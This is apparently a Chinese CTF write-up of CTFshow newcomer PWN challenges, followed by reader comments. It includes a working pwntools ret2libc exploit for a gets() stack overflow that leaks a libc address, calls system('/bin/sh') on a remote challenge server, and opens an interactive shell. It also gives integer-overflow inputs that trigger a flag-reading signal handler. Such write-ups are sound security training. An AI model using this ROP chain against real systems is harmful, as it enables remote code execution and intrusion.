>
>
CTFshow-萌新赛-PWN
fffdy
签到题
上手,没有 Canary 也没开随机化地址 (我觉得没开随机化是假的)
定位到 main 函数内的 gets() 函数,由于没有限制输入,存在栈溢出劫持程序流程
离栈底 0x70
64 位系统传参从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9
从第7个参数开始,接下来的所有参数都才通过栈传递
我们需要找到合适的 gadgets,利用 ROPgadget(gdb-peda 也可以)
*>~/Downloads $ ROPgadget --binary pp --only 'pop|ret'
Gadgets information
============================================================
0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400790 : pop r14 ; pop r15 ; ret
0x0000000000400792 : pop r15 ; ret
0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400793 : pop rdi ; ret //rdi 传入第一个参数
0x0000000000400791 : pop rsi ; pop r15 ; ret
0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
Unique gadgets found: 12
*>~/Downloads $
构造 payload 利用 puts 函数泄漏真实地址(plt 表和 got 表的延迟绑定机制)
然后算出基址 libcbase,并劫持程序回到主函数以便再次利用
用泄露的地址查出 libc 版本,利用 libc 和 libcbase 算出 system() 和 /bin/sh
真实地址
构造 payload getshell
但是 ,尽我所能,各种操作尝试使用 system() getshell,一直
人都傻了,然后想到了曾经做过的一道题情况类似
原因是栈的字节没对齐(32 位 8 字节对齐,64 位 16 字节对齐,这样对齐的目的是提高效率)
参见x86_64 Linux 运行时栈的字节对齐
对齐只需要在跳转前面来一次空的 ret
#-*- coding: utf-8 -*-
from pwn import * #pwntools
from LibcSearcher import * #用来寻找 libc
#context.log_level = "debug" #便于调试
p=remote('124.156.121.112',28094)
elf=ELF('pp') #名字和导入的 pwn 模块冲突,改成了 pp
main_addr=0x400687
rdi_addr=0x400793
ret_addr=0x40053e
put_plt=elf.plt['puts']
put_got=elf.got['printf']
pay='a'*(0x70+8)+p64(rdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.recvuntil('joke')
put_addr=u64(p.recv(6)+'\x00\x00')
print hex(put_addr)
libc=LibcSearcher('printf',put_addr)
libcbase=put_addr-libc.dump('printf')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')
pay='a'*(0x70+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)#+p64(main_addr)
# ^^^^^^^^
p.recvuntil('successful!')
p.sendline(pay)
p.interactive()
其实遇到这种情况,我看到的网上大多数解决方法是用 execve(“/bin/sh”)
getshell
这道题几乎没啥限制,是个 pwn 练手很不错的题目
还有其他的做法像执行栈之类的(应该可以吧,我也没试过)
数学99
IDA 打开发现三道题
在最后一个 sub_BA3() 中发现 handler
handler 作用就是读取 flag
但是怎眼触发 handler?肯定和 signal() 函数有关
看到这篇博客 c/c++ signal(信号)解析
有浮点异常就可以触发,也就是解决他给出的题目
考察的核心就是整数溢出(int 最大为 2147483647 或者 0x7fffffff):
第一关
(int)6-int(21474836477)==9
第二关
(int)19*(int)1808407283==9
第三关
(int)2147483648/(int)-1 或者 (int)-2147483648/(int)-1
第三关在 ustc Hackergame 2018 上出现过(就是 ctfer 爱不释手的能自动获取 flag 的黑曜石浏览器发行的那场 手动滑稽 )
签退
群主说是 setbuf 可以利用
没见过,先占个坑
学了再试试
admin
最详尽的wp了,赞
chen
签到题那个LibcSearcher怎么printf和put_addr去匹配
fffdy
chen put_got 获取的是 printf 的 got 地址,中途改的,忘了
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论